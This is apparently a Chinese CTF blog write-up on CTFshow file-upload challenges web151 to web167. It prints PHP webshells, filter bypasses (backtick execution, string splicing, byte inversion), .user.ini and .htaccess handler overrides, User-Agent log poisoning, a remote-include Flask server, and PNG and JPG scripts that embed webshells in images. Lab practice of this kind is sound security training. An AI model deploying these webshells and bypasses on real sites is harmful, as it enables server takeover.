CTFshow-web入门-文件上传(web151-167基础篇)

CTFshow-web入门-文件上传

web151

查看题目告诉我们这是前端校验

image-20250418110101975

那我们修改一句话木马文件后缀为png,然后上传抓包,修改后缀为php

image-20250418110202925

再放行

image-20250418110236950

然后通过蚁剑连接webshell

image-20250418110325567

发现网站根目录下有flag.php,打开获得flag

image-20250418110351275

web152

提示我们这是后端检验,而且要严密

image-20250418110422340

还是一样我们先上传一个png木马,然后抓包。然后发送到repeater里以便我们反复测试

image-20250418110714938

发现修改后缀直接上传成功返回地址了,那后面跟上面一样获得flag

web153

image-20250418111358998

还是先上传png然后抓包发送到repeater

发现直接发送png是能上传成功的

image-20250418111644134

改为php试一下

image-20250418111716133

发现地址变成这个,这个肯定访问不了

修改后缀名为php3,发现成功上传

但是你会发现无论如何都解析不了,phtml也解析不了

image-20250418112419806

这是因为php的配置问题,出题人在配置php的时候并没有说明将phtml或者php3等后缀解析成php,所以会解析失败。

那我们可以尝试看能不能上传.htaccess或者.user.ini文件来覆盖它原本的配置,使得png能解析成php

这里我们先试试.htaccess

image-20250418112820050

发现上传成功,里面的内容意思是匹配到png就将他当作php来解析

然后我们再上传我们的png再尝试用蚁剑连接,发现还是连接不上

想到http.conf文件中设置了 AllowOverried All ,才能使用.htaccess文件。出题人应该是没有开启这个选项

那我们使用.user.ini

先回顾一下.user.ini的使用条件

利用.user.ini的前提是服务器开启了CGI或者FastCGI,并且上传文件的存储路径下有index.php可执行文件。

尝试访问index.php

image-20250418113833751

发现能成功访问,说明符合利用前提

那我们上传一下.user.ini

image-20250418114058920

其中文件内容的含义是,无论访问哪个文件都包含一下muma.png

muma.png之前已经上传过了,我们直接用蚁剑连接index.php,然后翻阅目录获得flag

image-20250418114758162

web154

image-20250418121001406

我们还是先尝试上传png木马

image-20250418121215715

发现他对内容进行了检测,很有可能是过滤了<?php,那我们换一种方式写一句话木马

<script language="php">@eval($_POST["cmd"]);</script>

image-20250418121704831

发现这样还是上传失败,尝试一下大小写能不能绕过

image-20250418121739264

发现成功上传,那既然png木马成功上传了,可以看看能不能用.user.ini

image-20250418121836910

发现是有可解析的index.php的

那上传一个跟上面一关一样的.user.ini就好了

image-20250418122318890

尝试用蚁剑连接

image-20250418123035184

发现一直显示数据为空,将前面的payload改成

<?= @eval($_POST['cmd']);?>

image-20250418123146991

发现也能绕过,再尝试连接

image-20250418123228058

果然它直接将那个当作js代码了估计

然后翻阅目录找到flag

web155

image-20250418123447563

还是一样先上传png木马

发现使用上一关的payload能直接上传

<?= eval($_POST['cmd']);?>

那再试试有没有可执行的index文件

发现有的兄弟有的

image-20250418125313873

那可以再尝试上一关的解法了

image-20250418125444387成功上传,使用蚁剑连接,翻阅目录获得flag

image-20250418130603987

web156

image-20250418130752525

还是一样先上传一个png木马,然后抓包送到repeater。先正常发送一下

image-20250418160145862

可以发现正常发送也无法上传成功,这说明文件内容中还有东西被过滤了。通过测试发现是[]被过滤了

网上查阅资料发下可以通过下面的方式绕过

<?= @eval($_POST{'cmd'});?>
<?=eval(filter_input(INPUT_POST, '1'));?>

image-20250418160522749

然后尝试上传.user.ini

image-20250418160805596

发现上传成功,尝试用蚁剑连接,翻阅目录得到flag

image-20250418160839475

web157

还是跟上面的解题步骤一样

image-20250418161251149

但是发现这次{}也被过滤掉了,尝试直接执行system命令获得flag

image-20250418163231339

这里值得一提的是如果结尾不加?>,则语句结尾必须加分号,如果加?>则最后一条语句结尾可以不用分号

然后尝试上传.user.ini

image-20250418162841665

然后尝试直接访问index.php

image-20250418163418132

web158

经过测试,发现POST还是不给用。尝试直接写payload

image-20250418164119345

发现上传成功,再试试能不能上传.user.ini

image-20250418164245135

发现也能上传,那直接访问index.php试试

image-20250418164326342

在源代码中发现了flag。那这题跟上一题没区别啊

web159

还是跟上题一样先上传一个muma.png然后抓包送到repeater里

image-20250422201721853

通过测试可以发现这一次将()给过滤掉了,这样就不能通过system()来执行函数了。

php中还可以通过``中间包含要执行的代码来执行。

<?= `cat ../fl?g*` ?>//此题还过滤了;,直接闭合可以忽略;

image-20250422205148058

然后尝试上传.user.ini

image-20250422202418369

然后尝试访问index.php

image-20250422205215768

成功获得flag

web160(包含日志,包含远程文件)

经过测试发现这一次将``,[],{},log,等等都给过滤掉了

这时候可以利用php的特性来读取文件

image-20250423104022610

简单来说使用了php的用.来拼接字符串的特性

比如上面的这个日志文件路径就拆分成了

"/var/lo".
"g/nginx/access.lo".
"g"
拼接以后就剩/var/log/nginx/access.log
这样就绕过了对log的过滤

或者使用下面这个payload
<?=$c="g"?><?=include"/var/lo$c/nginx/access.lo$c"?>

然后上传.user.ini

image-20250423104251660

尝试访问index.php

image-20250423104318361

发现日志文件被包含了

然后尝试在User-Agent里写入一句话木马

image-20250423104359367

然后就可以尝试用蚁剑连接了

image-20250423104924642

翻阅目录得到flag

image-20250423104938579

此题还可以包含远程文件

web161(检查文件头)

经过不断的测试,可以发现即使我们上传的内容为空也上传不成功。并且换成jpg,gif的格式也上传不了。这说明肯定对文件头进行检测了。依次尝试PNG,GIF89a

发现当文件头为GIF89a的时候可以上传成功,然后我们继续尝试上一关的包含日志文件

image-20250423121149621

然后尝试上传.user.ini

image-20250423121208686

然后尝试访问index.php

image-20250423121246182

发现成功读取日志文件,然后在UA头添加上我们的木马,并执行我们想要的命令

image-20250423121327435

成功获得flag

web162(过滤了点)

经过测试发现这一次将 . 也给过滤掉了。

那么我们便无法再通过点去拼接字符串了。

这个时候我们还可以采用变量拼凑字符法,而access.log中的点可以用\x2e代替。

GIF89a
<?=$g="g"?><?=include"/var/lo$g/nginx/access\x2elo$g"?>

值得注意的是不能用\x2e来拼接字符串。

又由于过滤点,所以文件名也不能带点,不然后面.user.ini便无法包含。

上传muma文件,并在UA处写入一句话木马

image-20250713231642482

然后上传.user.ini

image-20250713231801663

然后便可以使用蚁剑连接/upload/index.php了

这一题的点还可以通过别的方式获得

比如两字符异或后是点,或者一个字符取反后是点。这个前面RCE的时候就讲解过了,或者直接让ai帮忙构造。

比如此题可以写成下面的payload

GIF98a
<?=$a="Ñ"?>  
<?=$b=~$a?>
<?=$l="l"?>
<?=$o="o"?>
<?=$g="g"?>
<?=include"/var/$l$o$g/nginx/access$b$l$o$g"?>

Ñ字符取反后就是点.

160-162补充(远程文件包含)

其实这几题都可以使用远程文件包含来完成,其中162关过滤了点则可以将ip转换成长整型以后再包含,但是我不知道为什么我始终不成功,问AI的回复说的都是php的include不支持识别长整型的ip,我是真的没办法了。

所以以160没过滤点的这一关来补充说明一下远程文件包含

这里我们先启动一个flask服务

import flask
from flask import request, redirect,send_file

app = flask.Flask(__name__, static_folder='static')

@app.route('/233')
def index():
    filename = '233'
    return send_file(filename)

# 2130706433

if __name__ == '__main__':
    app.run(debug=True, host='0.0.0.0', port=5000)

并在233文件里写入一句话木马。

然后包含flask服务下的233文件路径

image-20250714125105187

然后再上传.user.ini

image-20250714124938348

这个时候可以尝试用蚁剑连接/upload/index.php了,但是我尝试了很久发现访问/upload/会直接卡死在那。我这是真的无语了。

web163(远程文件包含条件竞争)

还是远程文件包含一个没有后缀的文件,ip换成长整型。比web162多了一个条件竞争,提前打开upload文件夹,一打开就刷新。

我还是无法成功,照着别人的搞也成功不了,真的无语了。

web164(PNG的二次渲染图片码)

经过测试发现,连.user.ini都无法上传了。

但是上传一张正常的照片却可以成功上传,并且注意到点击查看图片后的url

image-20250714142314675

很容易猜想到存在文件包含,那么如果我们将木马直接写到图片里面去,这样伪装成一张正常的图片上传,然后利用文件包含的漏洞解析图片里的php代码就可以了。

这里使用了大佬给的PNG二次渲染的脚本(这个脚本运行后会自动生成一个插有木马的图片)

<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
    0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
    0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
    0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
    0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
    0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
    0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
    0x66, 0x44, 0x50, 0x33);

$img = imagecreatetruecolor(32, 32);

for ($y = 0; $y < sizeof($p); $y += 3) {
    $r = $p[$y];
    $g = $p[$y+1];
    $b = $p[$y+2];
    $color = imagecolorallocate($img, $r, $g, $b);
    imagesetpixel($img, round($y / 3), 0, $color);
}

imagepng($img,'1.png'); #保存在本地的图片马
?>

    //插入的木马是<?=$_GET[0]($_POST[1]);?>

运行后以十六进制查看一下图片

image-20250714142620078

可以看到确实将木马插进去了。

然后我们将其上传后点击查看图片

image-20250714142659370

然后便可以尝试传参(值得一提的是这里一定要抓包后再看,直接在图片那里用hackbar传参后是看不到效果的)

image-20250714142720956

发现flag就在当前目录的flag.php里,直接读就行

image-20250714142744734

成功获取flag

web165(JPG二次渲染图片码)

经过测试发现,这一关PNG都无法上传(正常的也不行)。

但是发现可以上传正常的JPG。

我们可以随便截屏一张上传,并且抓包。

image-20250715000015129

可以看到框起来的地方说明了对jpg图片进行了二次渲染。

所以情况也跟上一关一样,需要采用JPG的二次渲染图片码才行。

这里有一个国外大佬写的脚本用来生成JPG二次渲染的图片码

<?php
    /*

    The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations caused by PHP functions imagecopyresized() and imagecopyresampled().
    It is necessary that the size and quality of the initial image are the same as those of the processed image.

    1) Upload an arbitrary image via secured files upload script
    2) Save the processed image and launch:
    jpg_payload.php <jpg_name.jpg>

    In case of successful injection you will get a specially crafted image, which should be uploaded again.

    Since the most straightforward injection method is used, the following problems can occur:
    1) After the second processing the injected data may become partially corrupted.
    2) The jpg_payload.php script outputs "Something's wrong".
    If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image.

    Sergey Bobrov @Black2Fan.

    See also:
    https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/

    */

    $miniPayload = "<?=eval(\$_POST[7]);?>"; //注意$转义

    if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
        die('php-gd is not installed');
    }

    if(!isset($argv[1])) {
        die('php jpg_payload.php <jpg_name.jpg>');
    }

    set_error_handler("custom_error_handler");

    for($pad = 0; $pad < 1024; $pad++) {
        $nullbytePayloadSize = $pad;
        $dis = new DataInputStream($argv[1]);
        $outStream = file_get_contents($argv[1]);
        $extraBytes = 0;
        $correctImage = TRUE;

        if($dis->readShort() != 0xFFD8) {
            die('Incorrect SOI marker');
        }

        while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
            $marker = $dis->readByte();
            $size = $dis->readShort() - 2;
            $dis->skip($size);
            if($marker === 0xDA) {
                $startPos = $dis->seek();
                $outStreamTmp = 
                    substr($outStream, 0, $startPos) . 
                    $miniPayload . 
                    str_repeat("\0",$nullbytePayloadSize) . 
                    substr($outStream, $startPos);
                checkImage('_'.$argv[1], $outStreamTmp, TRUE);
                if($extraBytes !== 0) {
                    while((!$dis->eof())) {
                        if($dis->readByte() === 0xFF) {
                            if($dis->readByte !== 0x00) {
                                break;
                            }
                        }
                    }
                    $stopPos = $dis->seek() - 2;
                    $imageStreamSize = $stopPos - $startPos;
                    $outStream = 
                        substr($outStream, 0, $startPos) . 
                        $miniPayload . 
                        substr(
                            str_repeat("\0",$nullbytePayloadSize).
                                substr($outStream, $startPos, $imageStreamSize),
                            0,
                            $nullbytePayloadSize+$imageStreamSize-$extraBytes) . 
                                substr($outStream, $stopPos);
                } elseif($correctImage) {
                    $outStream = $outStreamTmp;
                } else {
                    break;
                }
                if(checkImage('payload_'.$argv[1], $outStream)) {
                    die('Success!');
                } else {
                    break;
                }
            }
        }
    }
    unlink('payload_'.$argv[1]);
    die('Something\'s wrong');

    function checkImage($filename, $data, $unlink = FALSE) {
        global $correctImage;
        file_put_contents($filename, $data);
        $correctImage = TRUE;
        imagecreatefromjpeg($filename);
        if($unlink)
            unlink($filename);
        return $correctImage;
    }

    function custom_error_handler($errno, $errstr, $errfile, $errline) {
        global $extraBytes, $correctImage;
        $correctImage = FALSE;
        if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
            if(isset($m[1])) {
                $extraBytes = (int)$m[1];
            }
        }
    }

    class DataInputStream {
        private $binData;
        private $order;
        private $size;

        public function __construct($filename, $order = false, $fromString = false) {
            $this->binData = '';
            $this->order = $order;
            if(!$fromString) {
                if(!file_exists($filename) || !is_file($filename))
                    die('File not exists ['.$filename.']');
                $this->binData = file_get_contents($filename);
            } else {
                $this->binData = $filename;
            }
            $this->size = strlen($this->binData);
        }

        public function seek() {
            return ($this->size - strlen($this->binData));
        }

        public function skip($skip) {
            $this->binData = substr($this->binData, $skip);
        }

        public function readByte() {
            if($this->eof()) {
                die('End Of File');
            }
            $byte = substr($this->binData, 0, 1);
            $this->binData = substr($this->binData, 1);
            return ord($byte);
        }

        public function readShort() {
            if(strlen($this->binData) < 2) {
                die('End Of File');
            }
            $short = substr($this->binData, 0, 2);
            $this->binData = substr($this->binData, 2);
            if($this->order) {
                $short = (ord($short[1]) << 8) + ord($short[0]);
            } else {
                $short = (ord($short[0]) << 8) + ord($short[1]);
            }
            return $short;
        }

        public function eof() {
            return !$this->binData||(strlen($this->binData) === 0);
        }
    }
?>

使用方法是

php JPG_xuan.php 2.jpg

第二个参数是你给脚本文件的命令,第三个参数是你想插入木马的jpg图片。

值得一提的是,最好在linux中来执行,成功率会高一点。

并且选择的图片不同也会影响成功率,这里我使用的是大佬们广泛使用的成功率比较高的图片。如下

1

这里直接拿去用脚本还是不太容易成功,最好先拿去上传。上传完靶场会对其二次渲染,然后我们保存二次渲染后的图片,命名为2.jpg。

然后再拿这张图片跑脚本。(原因是经过靶场二次渲染的图片,插入图片码后再上传二次渲染的变化会小很多,这样木马插入的位置的变化的可能性就更小,成功率就越高)

image-20250715001250568

可以看到如果成功的话,生成了一个payload_2.jpg。

这张图片明显暗一个色调,并且图片中插入的木马如下

<?=eval(\$_POST[7]);?>

然后就可以传参利用了

image-20250715001426891

成功获得flag

web166(上传zip包含木马)

经过测试发现只能允许上传zip文件,不然连抓包都抓不了。

那我们新建一个空文件,改后缀为zip,然后上传。

image-20250715002601682

上传成功后发现可以下载,点击下载并抓包。

image-20250715002646663

可以看到,点击下载的时候也很像文件包含。那么我们可以往zip的结尾写入php木马,这样被包含的时候便会解析。

这里可以使用HexEdit或者vscode编辑,写入我们的木马

image-20250715003200398

然后再重新上传,并抓下载的包,然后修改为POST然后传参

注意不只是修改了开头的POST就可以了,在bp里手动从GET改成POST还需要添加一行

Content-Type: application/x-www-form-urlencoded

然后便可以传参命令执行了

image-20250715005538023

直接读取flag

image-20250715005658895

web167(.htaccess)

这一次发现只允许上传jpg文件

image-20250715135859356

上传成功后有一个下载文件的按钮

屏幕截图 2025-07-15 135747

但是点击下载以后可以看到url处并没有明显的文件包含的漏洞了。

题目提示说是httpd

这让我一下子就想起来了在http.conf文件里有一个配置 AllowOverried 如果被设置为ALL了那我们就使用.htaccess文件,在.htaccess文件里将jpg文件重定向解析为php文件,这样就能解析jpg里面插入的php代码。

那我们尝试上传.htaccess文件,文件内容如下

<FilesMatch "jpg">
SetHandler application/x-httpd-php
</FilesMatch>

含义就是,当匹配到后缀是jpg的时候就将其请求头设置为application/x-httpd-php,也就是让浏览器将其当作php解析。

注意由于前端限制了只允许jpg,所以先上传jpg然后抓包修改再发送就行。

image-20250715141004340

然后上传一个包含木马的jpg

image-20250715144132687

然后便可以尝试传参执行命令了。

image-20250715144346040

然后读flag

image-20250715144421491

点赞

发表回复

电子邮件地址不会被公开。必填项已用 * 标注